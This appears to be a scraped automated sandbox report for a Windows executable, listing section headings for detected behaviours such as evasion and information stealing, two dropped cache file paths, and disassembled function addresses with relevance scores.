Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199609719039[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\89737b57-777d-400d-bb7f-77b7e024920e[1].txt

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Windows Analysis Report
Gj8P0mbklo.exe

Function 00356560 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 280
COMMON

Function 0036C490 Relevance: 16.9, APIs: 3, Strings: 6, Instructions: 1133
sleepCOMMON

Function 00373C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 190
memoryfilenativeCOMMON

Function 0035CE40 Relevance: 12.9, APIs: 3, Strings: 4, Instructions: 652
filesleepCOMMON

Function 003741E0 Relevance: 12.2, APIs: 8, Instructions: 160
sleepprocessCOMMON

Function 0036F560 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 186
networkfilesleepCOMMON

Function 00387A30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 408
timeCOMMON

Function 003648B3 Relevance: 5.5, Strings: 4, Instructions: 499
COMMON

Function 0036B4B0 Relevance: 3.6, APIs: 2, Instructions: 585
libraryCOMMON

Function 00360530 Relevance: 16.2, APIs: 4, Strings: 5, Instructions: 444
COMMON

Function 003564A0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 61
networkCOMMON

Function 0037A31A Relevance: 9.3, APIs: 6, Instructions: 265
COMMON

Function 00387CC2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 156
timeCOMMON

Function 0035EE10 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
COMMON